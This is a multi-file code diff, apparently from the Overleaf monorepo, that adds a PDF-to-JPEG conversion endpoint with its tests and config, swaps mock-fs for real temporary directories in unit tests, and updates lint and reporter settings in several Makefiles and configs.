||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
const runTypst = (compileName, options, callback) => {
|
||||||
|
runTypstAsync(compileName, options).then(
|
||||||
|
result => callback(null, result),
|
||||||
|
err => callback(err)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export default {
|
||||||
|
isRunning,
|
||||||
|
runTypst,
|
||||||
|
killTypst,
|
||||||
|
promises: {
|
||||||
|
runTypst: runTypstAsync,
|
||||||
|
killTypst: promisify(killTypst),
|
||||||
|
},
|
||||||
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
clsi
|
clsi
|
||||||
--data-dirs=cache,compiles,output
|
--data-dirs=cache,compiles,output
|
||||||
--dependencies=
|
--dependencies=
|
||||||
--env-add=DOWNLOAD_HOST=http://clsi-nginx:8080,ALLOWED_COMPILE_GROUPS=clsi-perf simple-latex-file,ENABLE_PDF_CACHING=true,PDF_CACHING_ENABLE_WORKER_POOL=true,ALLOWED_IMAGES=quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9,TEXLIVE_IMAGE=quay.io/sharelatex/texlive-full:2025.1,TEX_LIVE_IMAGE_NAME_OVERRIDE=us-east1-docker.pkg.dev/overleaf-ops/ol-docker,TEXLIVE_IMAGE_USER=tex,SANDBOXED_COMPILES=true,SANDBOXED_COMPILES_HOST_DIR_COMPILES=$PWD/compiles,SANDBOXED_COMPILES_HOST_DIR_OUTPUT=$PWD/output,ENABLE_PANDOC_CONVERSIONS=true
|
--env-add=DOWNLOAD_HOST=http://clsi-nginx:8080,ALLOWED_COMPILE_GROUPS=clsi-perf simple-latex-file,ENABLE_PDF_CACHING=true,PDF_CACHING_ENABLE_WORKER_POOL=true,ALLOWED_IMAGES=quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9 quay.io/sharelatex/pdftocairo:24.02,TEXLIVE_IMAGE=quay.io/sharelatex/texlive-full:2025.1,TEX_LIVE_IMAGE_NAME_OVERRIDE=us-east1-docker.pkg.dev/overleaf-ops/ol-docker,TEXLIVE_IMAGE_USER=tex,SANDBOXED_COMPILES=true,SANDBOXED_COMPILES_HOST_DIR_COMPILES=$PWD/compiles,SANDBOXED_COMPILES_HOST_DIR_OUTPUT=$PWD/output,ENABLE_PANDOC_CONVERSIONS=true,ENABLE_PDF_CONVERSIONS=true
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
--node-version=24.14.1
|
--node-version=24.14.1
|
||||||
|
|||||||
@@ -31,6 +31,9 @@ module.exports = {
|
|||||||
parseInt(process.env.CLSI_CONVERSION_TIMEOUT_SECONDS, 10) || 60,
|
parseInt(process.env.CLSI_CONVERSION_TIMEOUT_SECONDS, 10) || 60,
|
||||||
pandocImage: process.env.PANDOC_IMAGE || 'quay.io/sharelatex/pandoc:3.9',
|
pandocImage: process.env.PANDOC_IMAGE || 'quay.io/sharelatex/pandoc:3.9',
|
||||||
enablePandocConversions: process.env.ENABLE_PANDOC_CONVERSIONS === 'true',
|
enablePandocConversions: process.env.ENABLE_PANDOC_CONVERSIONS === 'true',
|
||||||
|
pdftocairoImage:
|
||||||
|
process.env.PDFTOCAIRO_IMAGE || 'quay.io/sharelatex/pdftocairo:24.02',
|
||||||
|
enablePdfConversions: process.env.ENABLE_PDF_CONVERSIONS === 'true',
|
||||||
maxUploadSize: 50 * 1024 * 1024,
|
maxUploadSize: 50 * 1024 * 1024,
|
||||||
|
|
||||||
internal: {
|
internal: {
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ services:
|
|||||||
ALLOWED_COMPILE_GROUPS: clsi-perf simple-latex-file
|
ALLOWED_COMPILE_GROUPS: clsi-perf simple-latex-file
|
||||||
ENABLE_PDF_CACHING: true
|
ENABLE_PDF_CACHING: true
|
||||||
PDF_CACHING_ENABLE_WORKER_POOL: true
|
PDF_CACHING_ENABLE_WORKER_POOL: true
|
||||||
ALLOWED_IMAGES: quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9
|
ALLOWED_IMAGES: quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9 quay.io/sharelatex/pdftocairo:24.02
|
||||||
TEXLIVE_IMAGE: quay.io/sharelatex/texlive-full:2025.1
|
TEXLIVE_IMAGE: quay.io/sharelatex/texlive-full:2025.1
|
||||||
TEX_LIVE_IMAGE_NAME_OVERRIDE: us-east1-docker.pkg.dev/overleaf-ops/ol-docker
|
TEX_LIVE_IMAGE_NAME_OVERRIDE: us-east1-docker.pkg.dev/overleaf-ops/ol-docker
|
||||||
TEXLIVE_IMAGE_USER: tex
|
TEXLIVE_IMAGE_USER: tex
|
||||||
@@ -38,6 +38,7 @@ services:
|
|||||||
SANDBOXED_COMPILES_HOST_DIR_COMPILES: $PWD/compiles
|
SANDBOXED_COMPILES_HOST_DIR_COMPILES: $PWD/compiles
|
||||||
SANDBOXED_COMPILES_HOST_DIR_OUTPUT: $PWD/output
|
SANDBOXED_COMPILES_HOST_DIR_OUTPUT: $PWD/output
|
||||||
ENABLE_PANDOC_CONVERSIONS: true
|
ENABLE_PANDOC_CONVERSIONS: true
|
||||||
|
ENABLE_PDF_CONVERSIONS: true
|
||||||
volumes:
|
volumes:
|
||||||
- ./reports:/overleaf/services/clsi/reports
|
- ./reports:/overleaf/services/clsi/reports
|
||||||
- ./compiles:/overleaf/services/clsi/compiles
|
- ./compiles:/overleaf/services/clsi/compiles
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ services:
|
|||||||
ALLOWED_COMPILE_GROUPS: clsi-perf simple-latex-file
|
ALLOWED_COMPILE_GROUPS: clsi-perf simple-latex-file
|
||||||
ENABLE_PDF_CACHING: true
|
ENABLE_PDF_CACHING: true
|
||||||
PDF_CACHING_ENABLE_WORKER_POOL: true
|
PDF_CACHING_ENABLE_WORKER_POOL: true
|
||||||
ALLOWED_IMAGES: quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9
|
ALLOWED_IMAGES: quay.io/sharelatex/texlive-full:2017.1 quay.io/sharelatex/texlive-full:2025.1 quay.io/sharelatex/pandoc:3.9 quay.io/sharelatex/pdftocairo:24.02
|
||||||
TEXLIVE_IMAGE: quay.io/sharelatex/texlive-full:2025.1
|
TEXLIVE_IMAGE: quay.io/sharelatex/texlive-full:2025.1
|
||||||
TEX_LIVE_IMAGE_NAME_OVERRIDE: us-east1-docker.pkg.dev/overleaf-ops/ol-docker
|
TEX_LIVE_IMAGE_NAME_OVERRIDE: us-east1-docker.pkg.dev/overleaf-ops/ol-docker
|
||||||
TEXLIVE_IMAGE_USER: tex
|
TEXLIVE_IMAGE_USER: tex
|
||||||
@@ -61,6 +61,7 @@ services:
|
|||||||
SANDBOXED_COMPILES_HOST_DIR_COMPILES: $PWD/compiles
|
SANDBOXED_COMPILES_HOST_DIR_COMPILES: $PWD/compiles
|
||||||
SANDBOXED_COMPILES_HOST_DIR_OUTPUT: $PWD/output
|
SANDBOXED_COMPILES_HOST_DIR_OUTPUT: $PWD/output
|
||||||
ENABLE_PANDOC_CONVERSIONS: true
|
ENABLE_PANDOC_CONVERSIONS: true
|
||||||
|
ENABLE_PDF_CONVERSIONS: true
|
||||||
depends_on:
|
depends_on:
|
||||||
clsi-nginx:
|
clsi-nginx:
|
||||||
condition: service_started
|
condition: service_started
|
||||||
|
|||||||
@@ -23,6 +23,7 @@
|
|||||||
"@overleaf/promise-utils": "workspace:*",
|
"@overleaf/promise-utils": "workspace:*",
|
||||||
"@overleaf/settings": "workspace:*",
|
"@overleaf/settings": "workspace:*",
|
||||||
"@overleaf/stream-utils": "workspace:*",
|
"@overleaf/stream-utils": "workspace:*",
|
||||||
|
"@overleaf/validation-tools": "workspace:*",
|
||||||
"archiver": "5.3.2",
|
"archiver": "5.3.2",
|
||||||
"async": "^3.2.5",
|
"async": "^3.2.5",
|
||||||
"body-parser": "1.20.4",
|
"body-parser": "1.20.4",
|
||||||
@@ -45,7 +46,6 @@
|
|||||||
"mocha": "^11.1.0",
|
"mocha": "^11.1.0",
|
||||||
"mocha-junit-reporter": "^2.2.1",
|
"mocha-junit-reporter": "^2.2.1",
|
||||||
"mocha-multi-reporters": "^1.5.1",
|
"mocha-multi-reporters": "^1.5.1",
|
||||||
"mock-fs": "^5.1.2",
|
|
||||||
"node-fetch": "^2.7.0",
|
"node-fetch": "^2.7.0",
|
||||||
"nyc": "^17.1.0",
|
"nyc": "^17.1.0",
|
||||||
"sinon": "~9.0.1",
|
"sinon": "~9.0.1",
|
||||||
|
|||||||
@@ -0,0 +1,83 @@
|
|||||||
|
import Client from './helpers/Client.js'
|
||||||
|
import ClsiApp from './helpers/ClsiApp.js'
|
||||||
|
import Path from 'node:path'
|
||||||
|
import fs from 'node:fs/promises'
|
||||||
|
import { promisify } from 'node:util'
|
||||||
|
import { execFile as execFileCb } from 'node:child_process'
|
||||||
|
import { expect } from 'chai'
|
||||||
|
|
||||||
|
const execFile = promisify(execFileCb)
|
||||||
|
|
||||||
|
const FIXTURE_PDF = Path.join(import.meta.dirname, '../fixtures/minimal.pdf')
|
||||||
|
|
||||||
|
const MODE_EXPECTATIONS = {
|
||||||
|
preview: { width: 794 },
|
||||||
|
thumbnail: { width: 190 },
|
||||||
|
}
|
||||||
|
|
||||||
|
async function writeResponseToTempfile(response) {
|
||||||
|
const buffer = Buffer.from(await response.arrayBuffer())
|
||||||
|
const tmpPath = `/tmp/clsi-acceptance-pdf-to-jpeg-${crypto.randomUUID()}.jpg`
|
||||||
|
await fs.writeFile(tmpPath, buffer)
|
||||||
|
return { tmpPath, buffer }
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('pdf-to-jpeg conversion', function () {
|
||||||
|
before(async function () {
|
||||||
|
await ClsiApp.ensureRunning()
|
||||||
|
})
|
||||||
|
|
||||||
|
for (const [mode, { width: expectedWidth }] of Object.entries(
|
||||||
|
MODE_EXPECTATIONS
|
||||||
|
)) {
|
||||||
|
describe(`with mode=${mode}`, function () {
|
||||||
|
let response
|
||||||
|
let tmpPath
|
||||||
|
let buffer
|
||||||
|
|
||||||
|
before(async function () {
|
||||||
|
response = await Client.convertPdfToJpeg(FIXTURE_PDF, mode)
|
||||||
|
expect(response.status).to.equal(200)
|
||||||
|
;({ tmpPath, buffer } = await writeResponseToTempfile(response))
|
||||||
|
})
|
||||||
|
|
||||||
|
after(async function () {
|
||||||
|
if (tmpPath) {
|
||||||
|
await fs.unlink(tmpPath).catch(() => {})
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
it('returns a JPEG (per `file`)', async function () {
|
||||||
|
const { stdout } = await execFile('file', ['--brief', tmpPath])
|
||||||
|
expect(stdout).to.match(/JPEG image data/)
|
||||||
|
})
|
||||||
|
|
||||||
|
it(`has the expected width of ${expectedWidth}px`, async function () {
|
||||||
|
const { stdout } = await execFile('identify', [
|
||||||
|
'-format',
|
||||||
|
'%w %h',
|
||||||
|
tmpPath,
|
||||||
|
])
|
||||||
|
const [width, height] = stdout.trim().split(' ').map(Number)
|
||||||
|
expect(width).to.equal(expectedWidth)
|
||||||
|
// A4 portrait is taller than wide; height must be positive and
|
||||||
|
// larger than the width (so the aspect ratio was preserved).
|
||||||
|
expect(height).to.be.greaterThan(width)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('returns a non-empty body matching Content-Length', function () {
|
||||||
|
expect(buffer.length).to.be.greaterThan(0)
|
||||||
|
expect(buffer.length).to.equal(
|
||||||
|
Number(response.headers.get('content-length'))
|
||||||
|
)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('with an unsupported mode', function () {
|
||||||
|
it('returns 400', async function () {
|
||||||
|
const response = await Client.convertPdfToJpeg(FIXTURE_PDF, 'not-a-mode')
|
||||||
|
expect(response.status).to.equal(400)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -53,6 +53,16 @@ async function convertDocument(path, type) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function convertPdfToJpeg(path, mode) {
|
||||||
|
const formData = new FormData()
|
||||||
|
formData.append('qqfile', await fsPromises.readFile(path), 'input.pdf')
|
||||||
|
return await fetch(`${host}/convert/pdf-to-jpeg?mode=${mode}`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: formData.getHeaders(),
|
||||||
|
body: formData.getBuffer(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
async function convertProjectToDocument(
|
async function convertProjectToDocument(
|
||||||
projectId,
|
projectId,
|
||||||
userId,
|
userId,
|
||||||
@@ -239,6 +249,7 @@ export default {
|
|||||||
compile,
|
compile,
|
||||||
convertProjectToDocument,
|
convertProjectToDocument,
|
||||||
convertDocument,
|
convertDocument,
|
||||||
|
convertPdfToJpeg,
|
||||||
stopCompile,
|
stopCompile,
|
||||||
clearCache,
|
clearCache,
|
||||||
getOutputFile,
|
getOutputFile,
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ describe('ConversionController', function () {
|
|||||||
ctx.documentStat = { size: 5678 }
|
ctx.documentStat = { size: 5678 }
|
||||||
ctx.Settings = {
|
ctx.Settings = {
|
||||||
enablePandocConversions: true,
|
enablePandocConversions: true,
|
||||||
|
enablePdfConversions: true,
|
||||||
path: {
|
path: {
|
||||||
compilesDir: '/compiles',
|
compilesDir: '/compiles',
|
||||||
outputDir: '/output',
|
outputDir: '/output',
|
||||||
@@ -591,6 +592,37 @@ describe('ConversionController', function () {
|
|||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
|
describe('with conversionType=html', function () {
|
||||||
|
beforeEach(async function (ctx) {
|
||||||
|
ctx.req.query = { type: 'html' }
|
||||||
|
ctx.fs.stat.resolves(ctx.documentStat)
|
||||||
|
|
||||||
|
await ctx.ConversionController.convertProjectToDocument(
|
||||||
|
ctx.req,
|
||||||
|
ctx.res,
|
||||||
|
sinon.stub()
|
||||||
|
)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should call convertLaTeXToDocumentInDirWithLock with type=html', function (ctx) {
|
||||||
|
sinon.assert.calledWith(
|
||||||
|
ctx.ConversionManager.promises.convertLaTeXToDocumentInDirWithLock,
|
||||||
|
sinon.match(
|
||||||
|
/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
|
||||||
|
),
|
||||||
|
sinon.match(
|
||||||
|
/^\/compiles\/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
|
||||||
|
),
|
||||||
|
'main.tex',
|
||||||
|
'html'
|
||||||
|
)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should set the attachment filename with .zip extension', function (ctx) {
|
||||||
|
sinon.assert.calledWith(ctx.res.attachment, 'output.zip')
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
describe('when conversion fails', function () {
|
describe('when conversion fails', function () {
|
||||||
beforeEach(async function (ctx) {
|
beforeEach(async function (ctx) {
|
||||||
ctx.next = sinon.stub()
|
ctx.next = sinon.stub()
|
||||||
|
|||||||
@@ -77,6 +77,24 @@ const LATEX_TO_DOCUMENT_CASES = [
|
|||||||
'--extract-media=.',
|
'--extract-media=.',
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
type: 'html',
|
||||||
|
extension: 'html',
|
||||||
|
compressOutput: true,
|
||||||
|
pandocArgs: outputId => [
|
||||||
|
'pandoc',
|
||||||
|
Path.join('..', 'main.tex'),
|
||||||
|
'--output',
|
||||||
|
'main.html',
|
||||||
|
'--from',
|
||||||
|
'latex',
|
||||||
|
'--to',
|
||||||
|
'html',
|
||||||
|
'--standalone',
|
||||||
|
'--resource-path=..',
|
||||||
|
'--extract-media=.',
|
||||||
|
],
|
||||||
|
},
|
||||||
]
|
]
|
||||||
|
|
||||||
describe('ConversionManager', function () {
|
describe('ConversionManager', function () {
|
||||||
|
|||||||
@@ -1,7 +1,8 @@
|
|||||||
import { vi, expect, describe, beforeEach, afterEach, it } from 'vitest'
|
import { vi, expect, describe, beforeEach, afterEach, it } from 'vitest'
|
||||||
import Path from 'node:path'
|
import Path from 'node:path'
|
||||||
|
import fs from 'node:fs'
|
||||||
import fsPromises from 'node:fs/promises'
|
import fsPromises from 'node:fs/promises'
|
||||||
import mockFs from 'mock-fs'
|
import os from 'node:os'
|
||||||
|
|
||||||
const MODULE_PATH = Path.join(
|
const MODULE_PATH = Path.join(
|
||||||
import.meta.dirname,
|
import.meta.dirname,
|
||||||
@@ -15,20 +16,19 @@ describe('DraftModeManager', () => {
|
|||||||
}))
|
}))
|
||||||
|
|
||||||
ctx.DraftModeManager = (await import(MODULE_PATH)).default
|
ctx.DraftModeManager = (await import(MODULE_PATH)).default
|
||||||
ctx.filename = '/mock/filename.tex'
|
ctx.tmpDir = fs.mkdtempSync(Path.join(os.tmpdir(), 'draft-mode-test-'))
|
||||||
|
ctx.filename = Path.join(ctx.tmpDir, 'filename.tex')
|
||||||
ctx.contents = `\
|
ctx.contents = `\
|
||||||
\\documentclass{article}
|
\\documentclass{article}
|
||||||
\\begin{document}
|
\\begin{document}
|
||||||
Hello world
|
Hello world
|
||||||
\\end{document}\
|
\\end{document}\
|
||||||
`
|
`
|
||||||
mockFs({
|
fs.writeFileSync(ctx.filename, ctx.contents)
|
||||||
[ctx.filename]: ctx.contents,
|
|
||||||
})
|
|
||||||
})
|
})
|
||||||
|
|
||||||
afterEach(() => {
|
afterEach(ctx => {
|
||||||
mockFs.restore()
|
fs.rmSync(ctx.tmpDir, { recursive: true })
|
||||||
})
|
})
|
||||||
|
|
||||||
describe('injectDraftMode', () => {
|
describe('injectDraftMode', () => {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import sinon from 'sinon'
|
|
||||||
import { expect, describe, beforeEach, afterEach, it } from 'vitest'
|
import { expect, describe, beforeEach, afterEach, it } from 'vitest'
|
||||||
import mockFs from 'mock-fs'
|
import fs from 'node:fs'
|
||||||
|
import os from 'node:os'
|
||||||
import path from 'node:path'
|
import path from 'node:path'
|
||||||
|
|
||||||
const modulePath = path.join(
|
const modulePath = path.join(
|
||||||
@@ -8,30 +8,40 @@ const modulePath = path.join(
|
|||||||
'../../../app/js/OutputFileFinder'
|
'../../../app/js/OutputFileFinder'
|
||||||
)
|
)
|
||||||
|
|
||||||
|
function createTree(base, tree) {
|
||||||
|
fs.mkdirSync(base, { recursive: true })
|
||||||
|
for (const [name, content] of Object.entries(tree)) {
|
||||||
|
const fullPath = path.join(base, name)
|
||||||
|
if (Buffer.isBuffer(content) || typeof content === 'string') {
|
||||||
|
fs.writeFileSync(fullPath, content)
|
||||||
|
} else if (content && content.symlink) {
|
||||||
|
fs.symlinkSync(content.symlink, fullPath)
|
||||||
|
} else {
|
||||||
|
createTree(fullPath, content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
describe('OutputFileFinder', function () {
|
describe('OutputFileFinder', function () {
|
||||||
beforeEach(async function (ctx) {
|
beforeEach(async function (ctx) {
|
||||||
ctx.OutputFileFinder = (await import(modulePath)).default
|
ctx.OutputFileFinder = (await import(modulePath)).default
|
||||||
ctx.directory = '/test/dir'
|
ctx.directory = fs.mkdtempSync(
|
||||||
ctx.callback = sinon.stub()
|
path.join(os.tmpdir(), 'output-finder-test-')
|
||||||
|
)
|
||||||
mockFs({
|
createTree(ctx.directory, {
|
||||||
[ctx.directory]: {
|
resource: {
|
||||||
resource: {
|
'path.tex': 'a source file',
|
||||||
'path.tex': 'a source file',
|
|
||||||
},
|
|
||||||
'output.pdf': 'a generated pdf file',
|
|
||||||
extra: {
|
|
||||||
'file.tex': 'a generated tex file',
|
|
||||||
},
|
|
||||||
'sneaky-file': mockFs.symlink({
|
|
||||||
path: '../foo',
|
|
||||||
}),
|
|
||||||
},
|
},
|
||||||
|
'output.pdf': 'a generated pdf file',
|
||||||
|
extra: {
|
||||||
|
'file.tex': 'a generated tex file',
|
||||||
|
},
|
||||||
|
'sneaky-file': { symlink: '../foo' },
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
afterEach(function () {
|
afterEach(function (ctx) {
|
||||||
mockFs.restore()
|
fs.rmSync(ctx.directory, { recursive: true })
|
||||||
})
|
})
|
||||||
|
|
||||||
describe('findOutputFiles', function () {
|
describe('findOutputFiles', function () {
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -56,6 +56,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -68,8 +72,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/docstore/reports:/overleaf/services/docstore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/docstore/reports:/overleaf/services/docstore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/docstore/reports:/overleaf/services/docstore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/docstore/reports:/overleaf/services/docstore/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
docstore
|
docstore
|
||||||
--dependencies=mongo,gcs
|
--dependencies=mongo,gcs
|
||||||
|
--deploy-pipeline=docstore
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -57,6 +57,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -69,8 +73,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/reports:/overleaf/services/document-updater/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/reports:/overleaf/services/document-updater/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/reports:/overleaf/services/document-updater/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
